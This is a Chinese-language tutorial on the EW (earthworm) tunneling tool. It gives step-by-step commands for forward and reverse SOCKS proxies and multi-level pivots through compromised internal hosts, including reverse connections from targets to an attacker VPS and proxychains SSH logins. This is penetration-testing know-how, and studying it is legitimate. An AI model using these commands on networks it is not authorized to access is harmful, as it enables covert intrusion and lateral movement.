EW
EW又叫earthworm,是一套便捷式的网络穿透工具,具有socks5服务架构和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。该工具能以"正向","反向","多级级联"等方式打通一条网络隧道,直达网络深处,可以适用于不同的操作系统,Linux、windows、macos、arm-linux均包括在内,可以跨平台使用,任何平台都可以轻松使用。
下载地址https://github.com/idlefire/ew/archive/refs/heads/master.zip
下面对该攻击进行一个介绍:
该工具一共有6中命令格式ssocksd、rcsocks、rssocks、lcx_slave、lcs_listen、lcx_tran,正向连接的命令是ssocksd,反向连接的命令是rcsocks和rssocks
我们先去理解一下正向代理和反向代理的区别。
正向代理:
主动通过代理访问目标主机,即攻击主机-->目标主机
反向代理:
目标主机通过代理进行主动连接,即目标主机-->攻击主机
正向代理
-
正向连接需要目标主机有一个公网的ip,或者说攻击主机能访问到目标主机(如果做一个内网的渗透测试可以使用)
ew -s ssocksd -l 1080 (在本地的1080端口上开启socks服务) 这一点利用本地1080端口即可访问到目标主机的服务
-s 设置状态模式
-l 设置监听端口
.\ew_for_linux64 -s ssocksd -l 1080
反向代理
反向代理适用于目标主机没有公网ip地址的情况,或者是目标主机不出网,这时就需要一个vps(或者是一个共网服务器)。
-
在vps上进行命令
ew -s rcsocks -l 1080 -e 4444(将1080端口接受到的数据转发到4444端口上)
-e 设置反弹主机端口
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
-
在目标主机上执行命令
ew -s rssocks -d vps_ip -e 4444(在本地开启socks服务,并且反弹到vps的4444端口上)
-d 设置反弹主机 IP
./ew_for_Win.exe -s rssocks -d 公网ip -e 4444
这里如果代理建立成功,可以在vps上看到rssocks cmd_socket OK!的提示
然后使用vps的1080端口可以访问掉目标主机的内网了。
这里给一个拓扑图来提供一个思路!
这是拓扑图
这里解释,139作为我的公网服务器,192作为web服务器,可以通过ew将内网的服务映射出来
服务器
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
本地内网web服务器
.\ew_for_linux64 -s rssocks -d 139.9.*.* -e 4444 (这里由于是服务器,所以需要对防火墙策略进行修改!)
二级网络环境
(1)
- 这么一种环境,目标A有2个网卡,一个内网,一个外网,但是这个主机只能访问内网的B不能访问其他的资源,而内网主机B不能出外网,但是可以访问其他的内网资源。(那如果这里可以得到这台主机的权限,就可以使用ew进行二级跳板访问到内网的资源。)
具体的跳板是这样的:
A-->B-->内网资源
-
在内网主机B上面,开启正向连接代理
ew -s ssocksd -l 4444(在本机开启4444端口)
.\ew_for_linux64 -s ssocksd -l 4444
-
在内网主机A上面,进行端口转发
ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
./ew_for_linux64 -s lcx_tran -l 1080 -f 内网主机 -g 4444(这样就将内网主机的4444端口转发到A的1080端口上) 通过A的1080可以访问内网的socks代理了
拓扑图:
使用机器A直接远程登录内网
B:ew_for_Win.exe -s ssocksd -l 4444
A:./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.12.12 -g 4444
配置proxychains文件使用本地的1080即可远程ssh登录
proxychains ssh root@10.10.20.18
(2)
- 在上面的环境中,如果A主机没有公网ip地址,这个时候就需要反向连接,需要一个vps
vps-->内网主机A--->内网主机B--->内网资源
-
在vps上
ew -s lcx_listen -l 1080 -e 4444
./ew_for_linux64 -s lcx_listen -l 1080 -e 4444(将1080接受的代理请求转发到4444端口上)
-
在内网主机B上
ew -s ssocksd -l 5555
.\ew_for_Win.exe -s ssocksd -l 5555(开启5555端口,正向代理)
-
在内网主机A上面
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
./ew_for_linux64 -s lcx_slave -d vps_IP -e 4444 -f 内网主机ip -g 5555(将vps的4444端口和内网主机的5555端口连接起来)
通过vps的1080端口可以访问到内网主机A在访问B然后访问内网资源。
由于和上面一个思路一样只是使用一个公网服务器做一个跳板机,所以这里不给图了!
三级网络环境
内网主机A没有公网IP不能访问内网资源,但是可以访问外网和内网主机B,内网主机B不能访问外网和内网资源,但是可以和A、C相互访问,内网主机C能访问内网资源,但是只能和内网主机B相互访问,因此如果想访问到内网资源就需要做三层跳板。
vps-->内网主机A=->内网主机B-->内网主机c
-
在公网vps上面,将1080端口接受到的代理请求转发到4444端口上
ew -s rcsocks -l 1080 -e 4444
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
-
在内网主机A上面,将vps的4444端口和内网主机的5555端口连接起来
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
./ew_for_linux64 -s lcx_slave -d vpsIP -e 4444 -f 内网b -g 5555
-
在内网主机B上,将5555端口收到的代理请求转发到6666端口上
ew -s lcx_listen -l 5555 -e 6666
.\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
-
在内网主机C上面,启动socks5代理,并且反弹到B主机的6666端口上
ew -s rssocks -d B主机 -e 6666
.\ew_for_Win.exe -s rssocks -d B主机 -e 6666
这样通过vps的1080端口就可以访问到内网C的资源了
这里给一个拓扑图
这里使用公网的机器可以直接远程登录c就是最终的目的:
公网机器:./ew_for_linux64 -s rcsocks -l 1080 -e 4444
A:ew_for_Win.exe -s lcx_slave -d 192.168.12.20 -e 4444 -f 10.10.10.18 -g 5555
B:ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
C:./ew_for_linux64 -s rssocks -d 10.10.20.16 -e 6666
配置proxychains文件使用本地的1080即可远程ssh登录
proxychains ssh root@10.10.20.17
这里由于是内网的环境,我们主动去连接的时候是不会成功的所以只能使用rssocks和rcsocks来反向连接,让他们主动连接我们!
总结:
希望以上内容对各位师傅们有所帮助~~!!